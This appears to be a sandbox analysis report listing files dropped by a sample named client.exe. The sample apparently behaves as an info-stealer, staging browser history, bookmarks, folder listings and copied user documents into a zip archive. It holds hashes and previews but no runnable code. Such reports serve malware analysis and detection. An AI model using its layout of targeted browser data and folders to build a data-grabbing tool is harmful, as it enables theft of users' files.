File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD414.tmp.dat

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD424.tmp.dat

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD435.tmp.dat

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD436.tmp.dat

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD4B4.tmp.dat

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD4C4.tmp.dat

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH.zip

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	modified
Size (bytes):	152886
Entropy (8bit):	7.922656805257907
Encrypted:	false
SSDEEP:	3072:+jLxBE8v/B94M/P2g96NN4TKWdyaofehj2UxN/H5tuugERLgA:C6NNwKMofoj2WtH5btLB
MD5:	18FAADED12F3CE823B6FBD9772983D7B
SHA1:	F0D9C5A347E64190BCDA21DABD1FA5A29F0CA333
SHA-256:	A948EAFA9F2F8B4BFA7E27B4B204615FEF775439B5065329DEDE44DD9BBE72E3
SHA-512:	D9F9AE59747BB6555F493D38350F40ED79685485EE0DBF3F07F2355E9AA75FF539D12D0724BB8C47FFD38A7CE46AFEDA3807110FCE15E1393D5911E9926A5EEE
Malicious:	false
Preview:	PK.........+.Y................Browsers\Edge\PK.........+.Y................Browsers\Google\PK........A.-YQ3..J...i.......Browsers\Firefox\Bookmarks.txtSVVVpO-Q.H.)PPVV..b.......T........H.g^Y~NYj.\.1)..D!..YUIf^.BpIbQ.T!.PK........A.-Yc.e.S...^.......Browsers\Firefox\History.txtSVVVp.,JM.P.(.,KL.T../.LNUx.0E.7.3''QA..L#.....J_...\/.".._........_....1M_S....PK........A.-Y8..6...1.......Directories\Desktop.txteRKs.0.<.3.+.......I .`.).X)2..~~..R..n.....=./.a....M../.."J...:`m#Z@.?..H..%.y(......B.!.Dcw.]b.!^lT.h..EfS.&L....wd..\|..N:.3D.qU.De.~....Q.........(........Y!..l5kKoJ.,6Q.....y8.^.L......v.....-dg'...v3....U.6D.L.....!.M.R.oH..T...f9..;....c{....}......d......ALp`)l....c..5T.),.,...k.[\|...PK........A.-Y..n.b...........Directories\Documents.txtm.Mn.0....;..lz............hE....*.}e..0].x...3n..:]....-C..PQ.T.6'B$.P...V..7.B.."..$....<....E....Cn.#Mw<QV[~......\..V{.4.%1.nD.b.5....8.O..p..c.b''.x.s..7...h....4v.\|..C.#.nFm.edseK....I....Td`...L....m";.

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Browsers\Firefox\Bookmarks.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	105
Entropy (8bit):	3.8863455911790052
Encrypted:	false
SSDEEP:	3:RGtjybXLGSWK+ZjMGvRS3ZMz9GSOLj2SjyRE2qJ:hvWF7Ipg9OL2RE2m
MD5:	2E9D094DDA5CDC3CE6519F75943A4FF4
SHA1:	5D989B4AC8B699781681FE75ED9EF98191A5096C
SHA-256:	C84C98BBF5E0EF9C8D0708B5D60C5BB656B7D6BE5135D7F7A8D25557E08CF142
SHA-512:	D1F7EED00959E902BDB2125B91721460D3FF99F3BDFC1F2A343D4F58E8D4E5E5A06C0C6CDC0379211C94510F7C00D7A8B34FA7D0CA0C3D54CBBE878F1E9812B7
Malicious:	false
Preview:	### Get Help ###.### Customize Firefox ###.### Get Involved ###.### About Us ###.### Getting Started ###.

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Browsers\Firefox\History.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.886397362842801
Encrypted:	false
SSDEEP:	3:RGEnGPHA9lfMJJEFAN2DSLvIJiMhKVX3L2WdXuvn:DG/CF0EFAN2OLciA8d+v
MD5:	61CDD7492189720D58F6C5C975D6DFBD
SHA1:	6966AFE0DEC5B0ABD90291FA12C0F6B7EF73ED43
SHA-256:	2F345865397FF1952921DB0588A6B589BAF30E67A90E11F7064E515AC162E862
SHA-512:	20D5A1C9809DF4F5B9C789042E5B88928A5246F9EB44F9D265CA3AA6FC9544A582B758ECAF6BBB0E9CEE149BD0AAC5E6C63D954541D1B23A7FC11894121CC0AE
Malicious:	false
Preview:	### Firefox Privacy Notice . Mozilla ### (https://www.mozilla.org/en-US/privacy/firefox/) 1.

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Directories\Desktop.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	817
Entropy (8bit):	5.243671142535396
Encrypted:	false
SSDEEP:	24:FSMvGrDhcqdyXetbRTA8NG9+bqK3MP6c6Uqcn:FSMOXhcqdyet1TA8g96qK3MP6c6ncn
MD5:	43B9F9E04034FBE546B9191774AB32A3
SHA1:	F63C4BD3B93BE6E929A9B1C799B2D9F735161C01
SHA-256:	6BECA6B74F9A78D5FBAEE59114EA5AE703A788035BE18E45FEA879F4CBEE0E4B
SHA-512:	083E3C74BE00A28853CB168D4072A5B21DE9C4F584B4714760C5E27D8C3F1A61C314E661F05EA5ABE135FF35ABC033A7B946DABF49D1CE4B26E7361EC6472EAD
Malicious:	false
Preview:	Desktop\...AQRFEVRTGL\...BJZFPPWAPT\....BJZFPPWAPT.docx....CZQKSDDMWR.mp3....EOWRVPQCCS.xlsx....EWZCVGNOWT.pdf....NYMMPCEIMA.png....TQDFJHPUIU.jpg...EFOYFBOLXA\....BJZFPPWAPT.pdf....DUUDTUBZFW.png....EFOYFBOLXA.docx....EOWRVPQCCS.mp3....GRXZDKKVDB.xlsx....PALRGUCVEH.jpg...EIVQSAOTAQ\...GRXZDKKVDB\....EIVQSAOTAQ.jpg....EOWRVPQCCS.pdf....GIGIYTFFYT.png....GRXZDKKVDB.docx....PALRGUCVEH.xlsx....TQDFJHPUIU.mp3...LFOPODGVOH\...QCOILOQIKC\...ZGGKNSUKOP\...ZIPXYXWIOY\...BJZFPPWAPT.docx...BJZFPPWAPT.pdf...client.exe...CZQKSDDMWR.mp3...desktop.ini...DUUDTUBZFW.png...EFOYFBOLXA.docx...EIVQSAOTAQ.jpg...EOWRVPQCCS.mp3...EOWRVPQCCS.pdf...EOWRVPQCCS.xlsx...EWZCVGNOWT.pdf...Excel.lnk...GIGIYTFFYT.png...GRXZDKKVDB.docx...GRXZDKKVDB.xlsx...NYMMPCEIMA.png...PALRGUCVEH.jpg...PALRGUCVEH.xlsx...TQDFJHPUIU.jpg...TQDFJHPUIU.mp3..

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Directories\Documents.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	946
Entropy (8bit):	5.361989927440446
Encrypted:	false
SSDEEP:	24:bSMvGrDhcqdyXeExrqEECbRwNG9+bqK39c6Uqcn:bSMOXhcqdyeEBqEEC1wg96qK39c6ncn
MD5:	C3FAD94D509DF36535D029A4A923FB3B
SHA1:	9D1CDAF2609FDC3B179A0329AF9386D939B25B81
SHA-256:	D1298350AF33AB6805803B75CD1E00AEE1EE61C7E0455EAB632A080F02FA8597
SHA-512:	A5FE5B804E8DF549D3FC7BBF3F9C2157DFF7FF6A36D0DB12D6AB1D90A314ABC36D5064B59053014FD05A6806B628F4E45C4A08F7652234CAE7B51A8FE2C910FD
Malicious:	false
Preview:	Documents\...AQRFEVRTGL\...BJZFPPWAPT\....BJZFPPWAPT.docx....CZQKSDDMWR.mp3....EOWRVPQCCS.xlsx....EWZCVGNOWT.pdf....NYMMPCEIMA.png....TQDFJHPUIU.jpg...EFOYFBOLXA\....BJZFPPWAPT.pdf....DUUDTUBZFW.png....EFOYFBOLXA.docx....EOWRVPQCCS.mp3....GRXZDKKVDB.xlsx....PALRGUCVEH.jpg...EIVQSAOTAQ\...GRXZDKKVDB\....EIVQSAOTAQ.jpg....EOWRVPQCCS.pdf....GIGIYTFFYT.png....GRXZDKKVDB.docx....PALRGUCVEH.xlsx....TQDFJHPUIU.mp3...LFOPODGVOH\...My Music\....desktop.ini...My Pictures\....Camera Roll\.....desktop.ini....Saved Pictures\.....desktop.ini....desktop.ini...My Videos\....desktop.ini...QCOILOQIKC\...ZGGKNSUKOP\...ZIPXYXWIOY\...BJZFPPWAPT.docx...BJZFPPWAPT.pdf...CZQKSDDMWR.mp3...desktop.ini...DUUDTUBZFW.png...EFOYFBOLXA.docx...EIVQSAOTAQ.jpg...EOWRVPQCCS.mp3...EOWRVPQCCS.pdf...EOWRVPQCCS.xlsx...EWZCVGNOWT.pdf...GIGIYTFFYT.png...GRXZDKKVDB.docx...GRXZDKKVDB.xlsx...NYMMPCEIMA.png...PALRGUCVEH.jpg...PALRGUCVEH.xlsx...TQDFJHPUIU.jpg...TQDFJHPUIU.mp3..

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Directories\Downloads.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.287754723130447
Encrypted:	false
SSDEEP:	6:3tcfLdfLPE98LKIajGrZJ7rvZqVRqycs68EI/To0Jth7Adh7WdtNzdCqYHn:ajlPEOLKpjGrZZZqbqyd6W/9cuzUqcn
MD5:	2B4C09817677D435B98A3633EA80B206
SHA1:	EE1505FD6C9A08EC39EF727BFAD30CE0BE510148
SHA-256:	6CF6D3B6463CDE042454F7D5BA26A6EAECF7BB17EA20FD66271A0B3E77B20D9F
SHA-512:	A177AEA0E2EDFF2032ABFAAE04BD152B8401715F145178C7C102DC016F94D62932929BED07E55F000537E1A104F22B91B328B4356DF064AF56507AC525574E53
Malicious:	false
Preview:	Downloads\...BJZFPPWAPT.docx...BJZFPPWAPT.pdf...CZQKSDDMWR.mp3...desktop.ini...DUUDTUBZFW.png...EFOYFBOLXA.docx...EIVQSAOTAQ.jpg...EOWRVPQCCS.mp3...EOWRVPQCCS.pdf...EOWRVPQCCS.xlsx...EWZCVGNOWT.pdf...GIGIYTFFYT.png...GRXZDKKVDB.docx...GRXZDKKVDB.xlsx...NYMMPCEIMA.png...PALRGUCVEH.jpg...PALRGUCVEH.xlsx...TQDFJHPUIU.jpg...TQDFJHPUIU.mp3..

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Directories\OneDrive.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.023465189601646
Encrypted:	false
SSDEEP:	3:1hiR8LKB:14R8LKB
MD5:	966247EB3EE749E21597D73C4176BD52
SHA1:	1E9E63C2872CEF8F015D4B888EB9F81B00A35C79
SHA-256:	8DDFC481B1B6AE30815ECCE8A73755862F24B3BB7FDEBDBF099E037D53EB082E
SHA-512:	BD30AEC68C070E86E3DEC787ED26DD3D6B7D33D83E43CB2D50F9E2CFF779FEE4C96AFBBE170443BD62874073A844BEB29A69B10C72C54D7D444A8D86CFD7B5AA
Malicious:	false
Preview:	OneDrive\...desktop.ini..

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Directories\Pictures.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.450045114302317
Encrypted:	false
SSDEEP:	3:YzIVqIPLKmwHW8LKKrLKB:nqyLKmYNLKCLKB
MD5:	D430E8A326E3D75F5E49C40C111646E7
SHA1:	D8F2494185D04AB9954CD78268E65410768F6226
SHA-256:	22A45B5ECD9B66441AE7A7AB161C280B6606F920A6A6C25CD7B9C2D4CEB3254D
SHA-512:	1E8139844D02A3009EE89E2DC33CF9ED79E988867974B1291ABA8BC26C30CB952F10E88E0F44A4AEEE162A27E71EAA331CF8AC982B4179DC8203F6F7280BA5AE
Malicious:	false
Preview:	Pictures\...Camera Roll\....desktop.ini...Saved Pictures\....desktop.ini...desktop.ini..

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Directories\Startup.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.053508854797679
Encrypted:	false
SSDEEP:	3:jgBLKB:j4LKB
MD5:	68C93DA4981D591704CEA7B71CEBFB97
SHA1:	FD0F8D97463CD33892CC828B4AD04E03FC014FA6
SHA-256:	889ED51F9C16A4B989BDA57957D3E132B1A9C117EE84E208207F2FA208A59483
SHA-512:	63455C726B55F2D4DE87147A75FF04F2DAA35278183969CCF185D23707840DD84363BEC20D4E8C56252196CE555001CA0E61B3F4887D27577081FDEF9E946402
Malicious:	false
Preview:	Startup\...desktop.ini..

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Directories\Temp.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4268
Entropy (8bit):	5.161373794525029
Encrypted:	false
SSDEEP:	96:4tiCKcwGT+jDM9Zw72fSASbSbdbsuEMnI0kjMC1GA03MjL9g2WUwtLtjg/uZ9FGy:LYfa2fSASOpgu9nI0kjMC1GA08fOXvx/
MD5:	790A32F9FCDD0A3C44DDB1F332B9EEF5
SHA1:	3C6255F02E0BA0FD902F43BEC64B055E28C014C2
SHA-256:	DBD343BA331A5DB7DFD35F472E7C31D669C399D1D5FEF3D96181D8D11F058345
SHA-512:	97677400CC17E89DA324A1F8D4F8A655480FEC13A79AB9CC777EF21C6FE0ADDE2F70D090AB78CF2AB3225913C1F7E3976B3C3CD29DE10C2D3A180E82514269E6
Malicious:	false
Preview:	Temp\...acrobat_sbx\....Adobe\.....Acrobat\......DC\....NGL\.....NGLClient_AcrobatReader123.6.20320.6 2023-10-04 16-15-42-624.log.....NGLClient_AcrobatReader123.6.20320.6 2023-10-04 16-15-55-956.log.....NGLClient_AcrobatReader123.6.20320.6.log....acroNGLLog.txt...acrocef_low\...acrord32_super_sbx\....Adobe\.....Acrobat\......DC\.......SearchEmbdIndex\...Diagnostics\....EXCEL\.....App1696428505298658900_7B05BF2A-C74F-44F8-B674-AA3F9719008B.log.....App1696428527628431800_6CD9E3BB-4D03-46BD-8615-75A902267162.log.....App1696428537364279100_A2018481-B961-46B4-9328-34939DEAF293.log.....App1696428537364768600_A2018481-B961-46B4-9328-34939DEAF293.log...edge_BITS_6440_1090636871\....4643befd-79b8-4e0c-a2fb-c0e3ee78dcd5...edge_BITS_6440_1191663050\....9e51170b-7adf-40ab-83b6-5f97b13bedcb...edge_BITS_6440_1234978473\....1187695d-8276-4e31-8de1-9e57768989bd...edge_BITS_6440_1289371347\....78549187-a875-4f1e-8dfa-9938ebc29c81...edge_BITS_6440_1318414972\....873489b1-33b2-480a-baa2-641b9e09edcd...ed

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Directories\Videos.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.7950885863977324
Encrypted:	false
SSDEEP:	3:k+JrLKB:k+JrLKB
MD5:	1FDDBF1169B6C75898B86E7E24BC7C1F
SHA1:	D2091060CB5191FF70EB99C0088C182E80C20F8C
SHA-256:	A67AA329B7D878DE61671E18CD2F4B011D11CBAC67EA779818C6DAFAD2D70733
SHA-512:	20BFEAFDE7FEC1753FEF59DE467BD4A3DD7FE627E8C44E95FE62B065A5768C4508E886EC5D898E911A28CF6365F455C9AB1EBE2386D17A76F53037F99061FD4D
Malicious:	false
Preview:	Videos\...desktop.ini..

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
